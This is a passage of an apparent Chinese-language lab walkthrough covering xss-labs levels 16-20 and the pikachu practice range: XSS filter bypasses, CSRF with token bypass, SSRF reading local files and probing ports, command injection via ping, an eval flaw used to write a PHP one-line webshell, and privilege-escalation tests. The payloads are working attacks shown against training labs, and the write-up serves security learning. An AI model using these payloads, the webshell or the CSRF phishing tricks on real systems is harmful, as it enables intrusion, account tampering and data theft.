ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签,更多标签可参考XSS常见的触发标签,随便选个标签,将空格替换成回车的url编码,构造payload

?keyword=<svg%0Aonload=alert(1)>

%0D回车也可以当成空格使用,在HTML中这样是合法的。

level 17(embed 标签 拼接绕过)

先测测关键字吧

?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

对比发现,虽然加了该死的html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)

我们来看看embed标签是啥

<embed>标签,是用来嵌入图片的。可以用onclick或onmouseover绕过。因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onclick或onmouseover看作另外一个属性。

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,他们就能有块错误的区域 

再看一下onfocus和onclick事件,这两事件是等价的,都是一触即发

支持的标签范围还广,也就是支持embed标签 ,这里呢我们可以尝试插入该标签

再看一下onmouse系列的事件

跟onfocus事件支持的标签一样 

所以,这题的解法很简单,首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有),如果不想下载的话,自己去后端改一下也行,将后端第十七关的代码(level17.php)指向的swf文件改为index.png

改为:

这样我们再去打开第十七关的网站

就有个embed标签的区域在啦,其实用不用swf文件都一样的,主要是区域,接着我们构造payload

?arg02= onclick=alert()

点击一下区域就弹窗成功了 

或者直接

payload:http://127.0.0.1/xss-labs-master/level17.php?arg01=a&arg02=aaa onmousemove='alert(1)'

level 18(同17)

先看源码:

这次不改后端代码了,换个支持flash插件的浏览器,Cent Browser。源码跟上关差别不大,就是换了个swf文件,我们直接测试一波过滤了啥,构建payload

?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

emmm,也是只搞了个html实体化函数,也没过滤啥,感觉跟上关一样,用事件触发属性即可(如onmouse系列、onfocus、onclick等)直接上payload

?arg02= onmousedown=alert()

再点一下embed标签区域

看一下后端源码

less-19(flash xss,了解即可,现在许多浏览器都不用flash插件了)

网页源码差不多,也就是只有swf文件不同的差别,直接上payload

?arg02= onmouseup=alert()

还有实体化函数在无法闭合,那就利用其他的,看了一下大佬的wp,参考:Flash XSS 漏洞详解 根治的好办法-CSDN博客

其实就是往Flash里面插入一段js代码,然后手动执行嘛,构造payload 

?arg01=version&arg02=<a href="javascript:alert()">here</a>

至于为啥arg01得传version,那就得去swf反编译才能知道了

less-20(反编译)

这关也是有双引号,呜呜呜,不想反编译,直接参考大佬的文章:Level 20 Flash XSS

直接构建payload,

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

pikachu靶场练习

CSRF(Get型)

打开靶场,可以看到提示存在的用户

随便选择一个用户作为登陆,然后点击其中的修改信息,抓包获取对应的参数名

可以看到对应的参数提交方式是GET

路径地址为:/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%B0%8F%E7%BE%8A&phonenum=1111&add=111&email=6666%40qq.com&submit=submit

url解码后为/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=小羊&phonenum=1111&add=111&email=6666@qq.com&submit=submit

于是可以得知,提交的url地址为http://192.168.134.202/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=小羊&phonenum=1111&add=111&email=6666@qq.com&submit=submit

此时我们可以手动编写一个html文件或者利用bp自动生成poc,我们点击action,生成一个CSRF的利用

 我们可以修改其中的信息,修改完后我们可以点击在浏览器中测试,也可以将源代码复制到自己的服务器上,我们这里先直接用BP的浏览器测试;这里我们可以利用短链接生成平台把我们的链接变短,效果是一样的,我就不具体演示了

可以发现我们对信息进行修改,然后复制出生成浏览器测试url,当我们访问这个url地址时,系统就会自动将信息进行修改。

同理,将源代码复制到我们的服务器中,在用户登录时,若被害者访问了我们的服务器对应链接,也会产生相同效果

我们将html文件放置在我们服务器的根目录下的test.html文件中,等待被害者点击。

点击前:

测试点击:

点击后:

CSRF(POST型)

POST型CSRF唯一就是在参数上传方式不同,其余都与GET型无太大区别

同样,也是先抓包获取参数名

可以看到我们这里的参数以POST形式进行提交,那我们我们对应的修改也只需要和POST型保持一致即可

跟据生成的POC,生成对应的链接访问即可,同时也可以使用短链接生成工具提升钓鱼可信度

访问前:

访问后得到:

CSRF(Token验证型)

抓包测试可以发现多了一个token值,意味着我们无法通过伪造url进行修改个人信息了

可以看到由于token的唯一性,我们不能直接修改参数值来修改个人信息了。

这里我们可以利用Bp上的插件token跟踪器来进行绕过

安装后会出现一个单独的选项卡,然后设置插件:(这里的host我填的是127.0.0.1或者我的电脑ip地址)

即:

然后我们再次抓包进行参数修改

抓包前:

然后我们抓包,发送到重放器中,修改对应参数测试

可以看到由于token的限制,我们是无法进行修改的,接着我们打开BP插件,并将重发器中的跟踪重定向模式打开

然后再次发送修改请求包,就可以发我们的修改成功,且插件处原来为空的token值生成得到了一个新的token值

且在开启跟踪重定向模式下,生成的POC也能使修改请求生效

当访问这个地址后,可以发现对应的信息被修改

也可以选择进行爆破的方式进行token的绕过:

修改前:

同样也是先抓包,修改信息,可以看到这里由于token限制是不能修改成功的

我们将其发送到爆破板块,因为有csrf_token,那么变量数量肯定大于1Attack type就需要更改了,因为Sniper只支持单个变量,我们设置成Pitchfork

接着点击 Payloads,首先设置性别的字典,选择从文件加载。

然后设置email,随便找一个email字典,最后设置token的值

然后我们搜索 token,点击下行的 < > 切换上一个和下一个,找到如下位置,双击选中 token 的值,如图

然后点击确认,可以在 检索-提取栏目中看到一条记录,就是我们刚刚加的。

接下来设置 重定向,设置为 Always(总是)。

在资源池选项卡中设置线程数,设置为 1 个线程,因为多线程会导致 token 出现问题。

选择资源池下面有个创建新资源池可以重新设置线程数,我们勾选最大请求并发数,并且进行参数的设置

回到 Payloads,将 Payload set 3 的 Payload type 设置为 递归提取,如下设置。

一切准备就绪,点击 start attack 开始爆破。可以看到爆破成功,页面也发生了修改,这里只有三条是因为我在前面1、2位置设置payload字典的时候,只加了一两条的缘故

这里看了网上大佬的博客,还有另外的思路:通过存储型xss绕过csrf题目token验证

SSRF(CURL)

知识补充:CURL
cURL 是一个功能强大的命令行工具,用于请求Web服务器。支持多种协议,包括FTP、FTPS、HTTP、HTTPS、SMTP、Telnet、TFTP等,底层用的是libcurl库。
主要功能就是文件上传和下载、发送HTTP请求,允许用户自定义请求头,也支持通过代理发送请求

libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP基于表单的上传、代理、cookies和用户名+密码的认证。

curl命令:curl命令用法-CSDN博客

首先来到题目,点击后可以看到url地址中,存在请求本地文件的行为,修改其中的请求文件,也可以发现页面显示出不同的内容

尝试修改http://192.168.3.245/pikachu-master/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

(注意这里是支持http而不是https协议)

可以看到url直接进行了地址跳转,对应的url形成了百度的网址。

这里我们再测试一下其他的协议

测试内网的其他服务器上地址和端口:http://192.168.134.202/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306
这里直接回显了数据库的版本一些相关信息
测试利用file协议查看本地文件:(注意file协议只能在本地访问)
修改url为:url=file:///d:/test.txt
file协议用法:file:///文件路径

比如我在D盘中对应路径下写一个test.php文件,里面是一些字符

dict协议扫描内网主机开放端口:可以修改url为:url=dict://192.168.198.1:21

可以看到网络探测也存在请求信息

关卡源代码

if(isset($_GET['url']) && $_GET['url'] != null){

    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;
}

SSRF(file_get_content)

跟上关类似,url变成了file协议

知识补充:file_get_content的使用方法
file_get_contents() 把整个文件读入一个字符串中。
语法:file_get_contents(path,include_path,context,start,max_length)
参数	                                    描述
path	                        必需。规定要读取的文件。
include_path	可选。若还想在 include_path(在 php.ini 中)中搜索文件的话,设置该参数为'1'
context	        可选。规定文件句柄的环境  context是可以修改流的行为的选项。若使用NULL则忽略
start	           可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的
max_length	       可选。规定读取的字节数。该参数是 PHP 5.1 中新增的
file读取本地文件
修改file为:file=file:///D:/test.txt,查看文件的内容:
http协议请求内网资源
修改file为:file=http://127.0.0.1/pikachu/vul/sqli/1.php,查看文件的内容:

RCE(exec “ping”)

进入靶场,根据提示输入本地环回地址ip,ping一下得到回显,接下来我们输入 127.0.0.1 & ipconfig

说明这里除了可以提交目标IP地址外,还可以通过一些拼接的符号执行其他的命令。

看一下源码

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }
}
可以看到$_POST['ipaddress'] 直接拼接到 shell_exec 中,攻击者可以通过输入恶意命令
且没有对用户输入的 IP 地址进行格式校验,可能导致非法输入

RCE(eval)

eval函数可以把字符串当成 PHP 代码来执行。

输入phpinfo(); 点击提交,可以看到函数得以执行。system(“”):直接执行操作系统命令,例如system(“ipconfig”)

输入fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');, 会在当前网页所在目录生成一句话木马文件, 后续可用webshell管理工具进行连接

看一下源码

if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

    }

}
可以看到$_POST['txt'] 直接传递给 eval,没有任何过滤或验证。使用 @ 抑制错误信息,可能会导致潜在的问题被忽略。

水平越权

根据提示,存在以上用户,我们先登录kobe账户的信息,看到个人信息如下:

抓包测试,可以看到存在get请求参数,怀疑是用户标识信息,我们将kobe改为lucy:

放行数据包之后可以看到查看的用户信息为lucy,验证成功

垂直越权

首先垂直越权我们需要低权限用户的标识、高权限用户的数据包,然后重发高权限数据包,将其中的用户标识改为低权限用户的标识,看看能否返回响应数据包。

抓包获取低权限用户标识:这里为用户cookie作为标识

可以看到低权限用户cookie信息和界面:

我们在尝试登陆高权限用户查看一下数据包信息和特殊功能界面

可以看到高权限用户存在添加、删除用户功能,我们尝试添加一个用户,然后使用低权限用户的身份标识,看看是否能成功

这是高权限用户添加用户的数据包,我们将数据包抓取出来,换成低权限用户的cookie再尝试一遍。

可以看到添加成功。也可以用插件:AutorizePro 也是一样的步骤

捡洞神器-AI版越权检测burp插件AutorizePro_autorize插件-CSDN博客

将低权限用户cookie发到插件–>抓取/访问高权限用户特有的数据包–>跟据包的返回长度判断是不是越权

一般测垂直越权填写低权限用户的cookie或者token,测水平越权就填与另外一个用户的鉴权信息。

(但是笔者这里出了点问题,插件返回值302,太困了,埋个伏笔下次想明白了来写)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇